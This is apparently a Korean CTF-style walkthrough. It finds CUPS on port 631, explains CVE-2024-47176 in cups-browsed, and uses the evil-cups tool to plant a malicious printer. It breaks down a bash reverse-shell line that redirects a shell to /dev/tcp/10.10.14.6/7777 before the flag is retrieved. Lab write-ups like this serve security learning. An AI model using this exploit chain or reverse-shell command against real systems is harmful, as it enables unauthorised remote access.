TCP 포트 스캔

 

 

631 포트에 대해 UDP 포트 스캔

 

 

 

631 포트가 무엇인고 하니,

유닉스 시스템에서 프린트를 위한 프로토콜(Internet Printing Protocol)이라고 한다

CUPS라는 프레임워크의 프로토콜이라고 하는데 원격 코드 실행 취약점이 존재하는것 같다

 

 

 

CUPS는 기본적으로 631번 포트를 통해 웹 인터페이스 제공

CUPS 버전 확인

 

 

 

해당 컴포넌트는 CVE-2024-47176 취약점이 존재

 

 

취약점 설명

CVE-2024-47176는 cups-browsed 컴포넌트에서 발견된 취약점으로, 이로 인해 공격자가 원격으로 시스템에 프린터를 추가하고, Get-Printer-Attributes 요청을 공격자가 제어하는 URL로 보내도록 유도할 수 있다. 이 취약점은 네트워크 인터페이스 바인딩 설정이 잘못되어 발생하며, 기본적으로 cups-browsed가 모든 네트워크 인터페이스(0.0.0.0:631)에 바인딩되어 네트워크 외부로 노출되게 만든다​

 

주요 특징

  • 공격 벡터: 네트워크를 통한 원격 공격.
  • 공격 복잡성: 낮음 (특별한 조건 없이 공격 가능).
  • 권한 요구: 없음 (익명 공격 가능).
  • 사용자 상호작용: 필요하지 않음.

 

공격 시나리오

공격자는 UDP 631 포트를 통해 패킷을 전송하여 공격자가 설정한 IPP(Internet Printing Protocol) 서버를 새 프린터로 등록하도록 유도

등록된 프린터는 악성 속성을 포함할 수 있으며, 시스템이 이를 처리하려고 할 때 임의 명령 실행이 가능하게 됨

 

 

 

https://github.com/IppSec/evil-cups

 

툴 설치

 

 

 

리버스쉘 얻기

 

공격자IP 대상IP 명령

 

  • bash -c: Bash 명령을 실행하기 위한 옵션
  • bash -i: 대화형(interactive) Bash 세션을 시작
  • >& /dev/tcp/10.10.14.6/7777: 공격자의 IP와 포트로 표준 출력(stdout)과 표준 에러(stderr)를 리다이렉트
  • 0>&1: 표준 입력(stdin)을 표준 출력(stdout)으로 리다이렉트

 

 

 

웹에서 공격자의 printer가 추가되는 것을 확인 가능

 

 

'Print test page' 클릭 → 쉘이 리스너에 전달됨

(사전에 리스닝하고 있어야함)

 

 

 

리버스쉘 연결 성공

 

 

플래그 확인

 

 

+ Recent posts